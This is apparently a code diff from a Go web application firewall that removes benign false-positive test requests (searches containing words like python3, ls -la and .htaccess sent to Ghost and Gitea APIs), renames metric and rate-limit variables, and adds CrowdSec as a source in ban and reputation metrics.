-{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical&newsletter=default-newsletter&email_segment=label%3Apowershell-users", "headers": ["Host: example.com", "Content-Length: 74", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"status\":\"published\"}]}"}
-{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27powershell+%26+python3%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
-{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27ls+-la+%26+.htaccess%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
-{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 161", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"status\":\"published\",\"html\":\"<p>Thanks! I ran <code>ls -la</code> and fixed my .htaccess with python3.</p>\"}]}"}
-{"method": "PUT", "target": "/members/api/comments/6af5443ba509340001efd00b/", "headers": ["Host: example.com", "Content-Length: 140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"id\":\"6af5443ba509340001efd00b\",\"html\":\"<p>Thanks! I ran ls -la, then powershell, and fixed my .htaccess with python3.</p>\"}]}"}
-{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 220", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"parent_id\":\"6af5443ba509340001efd00b\",\"in_reply_to_id\":\"6af5443ba509340001efd00b\",\"status\":\"published\",\"html\":\"<p>Same here: python3 &amp; powershell both work.</p>\"}]}"}
-{"method": "GET", "target": "/members/api/comments/post/6af5443ba509340001efcfd1/?limit=20&filter=created_at%3A%3C%3D2026-11-12T04%3A44%3A43.000Z&page=2&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
-{"method": "GET", "target": "/members/api/comments/6af5443ba509340001efd00b/replies/?limit=5&filter=id%3A%3E%276af5443ba509340001efd010%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}

internal/coreruleset/testdata/gitea-requests.txt

@@ -381,167 +381,6 @@
 /org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
 /alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
 
-# The API's searches that gitea and Forgejo share, sent with curl to gitea
-# 1.27.3. Each searches for words that name commands and files, such as python3
-# and .htaccess, and for plain words. A package name can hold a slash, as npm's
-# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
-# search of unadopted repositories takes an owner and a name.
-/api/v1/repos/search?q=python3&limit=10
-/api/v1/repos/search?q=powershell&limit=10
-/api/v1/repos/search?q=ls%20-la&limit=10
-/api/v1/repos/search?q=.htaccess&limit=10
-/api/v1/repos/search?q=docker-compose.yml&limit=10
-/api/v1/repos/search?q=tools&limit=10
-/api/v1/users/search?q=python3
-/api/v1/users/search?q=powershell
-/api/v1/users/search?q=ls%20-la
-/api/v1/users/search?q=.htaccess
-/api/v1/users/search?q=bob
-/api/v1/repos/issues/search?q=python3&type=issues&state=open
-/api/v1/repos/issues/search?q=powershell&type=issues&state=open
-/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open
-/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open
-/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open
-/api/v1/repos/issues/search?q=build&type=issues&state=open
-/api/v1/repos/alice/tools/issues?state=open&q=python3
-/api/v1/repos/alice/tools/issues?state=open&q=powershell
-/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la
-/api/v1/repos/alice/tools/issues?state=open&q=.htaccess
-/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml
-/api/v1/packages/alice?q=python3
-/api/v1/packages/alice?q=powershell
-/api/v1/packages/alice?q=ls%20-la
-/api/v1/packages/alice?q=.htaccess
-/api/v1/packages/alice?q=%2Fbin%2Fsh
-/api/v1/packages/alice?q=install-script
-/api/v1/packages/alice?q=%40alice%2Ftools-cli
-/api/v1/topics/search?q=python3
-/api/v1/topics/search?q=powershell
-/api/v1/topics/search?q=ls%20-la
-/api/v1/topics/search?q=.htaccess
-/api/v1/topics/search?q=docker
-/api/v1/orgs/acme/teams/search?q=python3
-/api/v1/orgs/acme/teams/search?q=powershell
-/api/v1/orgs/acme/teams/search?q=ls%20-la
-/api/v1/orgs/acme/teams/search?q=.htaccess
-/api/v1/orgs/acme/teams/search?q=developers
-/api/v1/admin/emails/search?q=python3
-/api/v1/admin/emails/search?q=powershell
-/api/v1/admin/emails/search?q=ls%20-la
-/api/v1/admin/emails/search?q=.htaccess
-/api/v1/admin/emails/search?q=alice
-/api/v1/admin/unadopted?query=python3
-/api/v1/admin/unadopted?query=powershell
-/api/v1/admin/unadopted?query=ls%20-la
-/api/v1/admin/unadopted?query=.htaccess
-/api/v1/admin/unadopted?query=alice%2Fpython3-app
-/api/v1/admin/unadopted?query=alice%2Flegacy-site
-/api/v1/repos/alice/tools/milestones?state=open&name=python3
-/api/v1/repos/alice/tools/milestones?state=open&name=powershell
-/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la
-/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess
-/api/v1/repos/alice/tools/milestones?state=open&name=v1.0
-
-# The package registries' searches, sent to gitea 1.27.3 by each registry's own
-# client: cargo, knife, composer, conan 1 and 2, dotnet and npm. curl sent the
-# requests no client sends: the Chef cookbook list with a search, and NuGet's
-# Packages() with the search in $filter, as NuGet's client builds it for a feed
-# without Search(). curl also sent each NuGet Search() and Packages() search to
-# Search()/$count and Packages()/$count, which count its results. Each searches
-# for words that name commands and files, such as python3 and .htaccess, and
-# for plain words. A Composer, Conan or npm name can hold a slash, so those
-# searches are also sent /bin/sh.
-/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10
-/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10
-/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10
-/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10
-/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10
-/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10
-/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0
-/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0
-/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0
-/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0
-/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0
-/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0
-/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0
-/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0
-/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0
-/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0
-/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0
-/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0
-/api/packages/alice/composer/search.json?q=python3&type=
-/api/packages/alice/composer/search.json?q=powershell&type=
-/api/packages/alice/composer/search.json?q=ls+-la&type=
-/api/packages/alice/composer/search.json?q=.htaccess&type=
-/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=
-/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=
-/api/packages/alice/composer/search.json?q=docker-compose.yml&type=
-/api/packages/alice/composer/search.json?q=tools&type=
-/api/packages/alice/conan/v1/conans/search?q=python3
-/api/packages/alice/conan/v1/conans/search?q=powershell
-/api/packages/alice/conan/v1/conans/search?q=ls+-la
-/api/packages/alice/conan/v1/conans/search?q=.htaccess
-/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh
-/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A
-/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml
-/api/packages/alice/conan/v1/conans/search?q=tools
-/api/packages/alice/conan/v2/conans/search?q=python3
-/api/packages/alice/conan/v2/conans/search?q=powershell
-/api/packages/alice/conan/v2/conans/search?q=ls+-la
-/api/packages/alice/conan/v2/conans/search?q=.htaccess
-/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh
-/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable
-/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml
-/api/packages/alice/conan/v2/conans/search?q=tools
-/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
-/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
-/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
-/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
-/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
-/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
-/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
-/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
-/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
-/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
-/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
-/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
-/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
-/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
-/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
-/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
-/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
-/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
-/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30
-/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30
-/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30
-/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30
-/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30
-/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
-/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
-/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
-/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
-/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
-/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
-/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
-/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
-/api/packages/alice/nuget/Packages()/$count?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
-/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
-/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
-/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
-/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'python3'&$top=30
-/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'powershell'&$top=30
-/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30
-/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30
-/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'tools'&$top=30
-/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
-/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
-/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
-/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
-/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
-/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
-/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
-/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
-
 # Pages, raw files and edit pages of files, and the API's call for their
 # contents.
 /owner/repo/src/branch/main/package.json

internal/coreruleset/vaultwarden_test.go

@@ -456,11 +456,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
 		},
 	} {
 		body := passwordBody(t, sent.r, sent.names, hashes...)
-		if len(body) > bodyInspectionSize {
+		if len(body) > bodyLimit {
-			t.Fatalf(
+			t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
-				"a body of %d bytes is cut at bodyInspectionSize",
-				len(body),
-			)
 		}
 
 		if got, _ := inspectBody(t, crs, sent.r, body); len(

internal/metrics/busiest.go

@@ -13,15 +13,14 @@ const other = "other"
 
 // busiest are the metrics by one thing the lookup finds of the client,
 // its country or its AS number, for requests whose client's is known.
-// The busiestCount busiest countries or AS numbers, by their requests
+// The topN busiest countries or AS numbers, by their requests since the
-// since the start, have series of their own, and the others are counted
+// start, have series of their own, and the others are counted under
-// under other, so that there are never more than busiestCount + 1 series.
+// other, so that there are never more than topN + 1 series. One that
-// One that drops out of the busiest loses its series, and its next
+// drops out of the busiest loses its series, and its next requests are
-// requests are counted under other; one that becomes one of them gets a
+// counted under other; one that becomes one of them gets a series that
-// series that counts from then on. Each series therefore only ever goes
+// counts from then on. Each series therefore only ever goes up.
-// up.
 type busiest struct {
-	busiestCount int
+	topN int
 
 	requests      *prometheus.CounterVec
 	requestBytes  *prometheus.CounterVec
@@ -39,9 +38,9 @@ type busiest struct {
 }
 
 // newCountries returns the metrics by country, with series of their own
-// for the busiestCount busiest countries.
+// for the topN busiest countries.
-func newCountries(busiestCount int) *busiest {
+func newCountries(topN int) *busiest {
-	countries := newBusiest(busiestCount, "country", "the client's country")
+	countries := newBusiest(topN, "country", "the client's country")
 	countries.refused = counterVec(
 		"sww_country_list_refusals_total",
 		"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
@@ -52,19 +51,18 @@ func newCountries(busiestCount int) *busiest {
 }
 
 // newASNs returns the metrics by AS number, with series of their own for
-// the busiestCount busiest AS numbers.
+// the topN busiest AS numbers.
-func newASNs(busiestCount int) *busiest {
+func newASNs(topN int) *busiest {
-	return newBusiest(busiestCount, "asn", "the client's AS number")
+	return newBusiest(topN, "asn", "the client's AS number")
 }
 
 // newBusiest returns the metrics by label, which is described as
-// description, with series of their own for the busiestCount busiest
+// description, with series of their own for the topN busiest values.
-// values.
+func newBusiest(topN int, label, description string) *busiest {
-func newBusiest(busiestCount int, label, description string) *busiest {
 	by := []string{label}
 
 	return &busiest{
-		busiestCount: busiestCount,
+		topN: topN,
 		requests: counterVec("sww_"+label+"_requests_total",
 			"Requests, by "+description+".", by),
 		requestBytes: counterVec("sww_"+label+"_request_bytes_total",
@@ -133,7 +131,7 @@ func (b *busiest) label(value string) string {
 		return value
 	}
 
-	if len(b.top) < b.busiestCount {
+	if len(b.top) < b.topN {
 		b.top[value] = true
 
 		return value

internal/metrics/metrics.go

@@ -61,12 +61,12 @@ type Metrics struct {
 }
 
 // New returns the metrics, with the Go runtime's and the process's own.
-// busiestCount is how many countries and how many AS numbers get series of
+// topN is how many countries and how many AS numbers get series of their
-// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
+// own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric carries instanceName
-// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
+// (SWW_WAF_INSTANCE_NAME) as its label instance.
 //
 //nolint:funlen // a few lines for each metric, a list that grows with them
-func New(busiestCount int, instanceName string) *Metrics {
+func New(topN int, instanceName string) *Metrics {
 	byStatus := []string{"status_class", "action"}
 	byFile := []string{"file"}
 	registry := prometheus.NewRegistry()
@@ -114,8 +114,8 @@ func New(busiestCount int, instanceName string) *Metrics {
 				"and the rule's id.",
 			[]string{"mode", "rule_id"},
 		),
-		countries: newCountries(busiestCount),
+		countries: newCountries(topN),
-		asns:      newASNs(busiestCount),
+		asns:      newASNs(topN),
 		GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
 			Name: "sww_geojs_requests_total",
 			Help: "Requests to GeoJS.",
@@ -185,7 +185,7 @@ func (m *Metrics) AddBansAndClients(
 	ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time,
 ) {
 	for _, cause := range []string{
-		bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin,
+		bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
 	} {
 		m.registry.MustRegister(
 			prometheus.NewCounterFunc(prometheus.CounterOpts{
@@ -302,20 +302,20 @@ const sourceLabel = "source"
 
 // AddReputation adds the metrics of the lists fetched from URLs and of the
 // DNSBL zones, by source, each list's URL or each zone, its key masked as
-// config.MaskZoneKey masks it: the requests whose client a blocklist, a
+// config.MaskZoneKey masks it: the requests whose client a blocklist, the
-// zone's verdict or AbuseIPDB's score lists, which ReputationHit counts,
+// CrowdSec decision list, a zone's verdict or AbuseIPDB's score lists,
-// and, read from lists and dnsbl as the metrics are asked for, for a list,
+// which ReputationHit counts, and, read from lists and dnsbl as the
-// the fetches that failed and when the copy in use was fetched, and for a
+// metrics are asked for, for a list, the fetches that failed and when the
-// zone, the queries made and those that failed. It is called once, before
+// copy in use was fetched, and for a zone, the queries made and those that
-// ReputationHit.
+// failed. It is called once, before ReputationHit.
 func (m *Metrics) AddReputation(
 	lists *reputation.Lists,
 	dnsbl *reputation.DNSBL,
 ) {
 	m.reputationHits = counterVec(
 		"sww_reputation_hits_total",
-		"Requests whose client a blocklist, a DNSBL zone or AbuseIPDB lists, "+
+		"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
-			"by the list's URL, the zone, or abuseipdb.",
+			"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
 		[]string{sourceLabel},
 	)
 	m.registry.MustRegister(m.reputationHits)
@@ -378,8 +378,9 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
 	)
 }
 
-// ReputationHit counts a request whose client source lists: a blocklist,
+// ReputationHit counts a request whose client source lists: a blocklist
-// by its URL, a DNSBL zone, its key masked, or AbuseIPDB, abuseipdb.
+// or the CrowdSec decision list, by its URL, a DNSBL zone, its key masked,
+// or AbuseIPDB, abuseipdb.
 func (m *Metrics) ReputationHit(source string) {
 	m.reputationHits.WithLabelValues(source).Inc()
 }

internal/ratelimit/ratelimit.go

@@ -185,8 +185,8 @@ func New(limits Limits, maxClients int) *Limiter {
 	}
 }
 
-// Hit is a request that takes a client over a rate limit or the refusal
+// Hit is a request that takes a client over a rate limit or the error
-// limit, or whose bytes take it over a byte limit.
+// burst, or whose bytes take it over a byte limit.
 type Hit struct {
 	// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
 	// KindRefusals for the refusal limit.
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
 // CountRefusal counts a request from client at now that sww
 // refused after a rule file or Core Rule Set match or for a missing or
 // wrong token, and reports whether the client's refusals in the minute
-// that ends at now, this one included, are more than limit, which breaks
+// that ends at now, this one included, are more than threshold, which
-// the refusal limit, and the hit.
+// breaks the refusal limit, and the hit.
 func (l *Limiter) CountRefusal(
-	client netip.Prefix, now time.Time, limit int64,
+	client netip.Prefix, now time.Time, threshold int64,
 ) (Hit, bool) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
 	hit := Hit{
 		Kind:   KindRefusals,
 		Window: "minute",
-		Limit:  limit,
+		Limit:  threshold,
 		Count:  count,
 	}
 
-	return hit, count > float64(limit)
+	return hit, count > float64(threshold)
 }
 
 // Reset sets client's counts of requests, of bytes and of refusals in

internal/ratelimit/ratelimit_test.go

@@ -351,9 +351,7 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
 	wantBytesCount(t, limiter, client, start, 1000, "")
 }
 
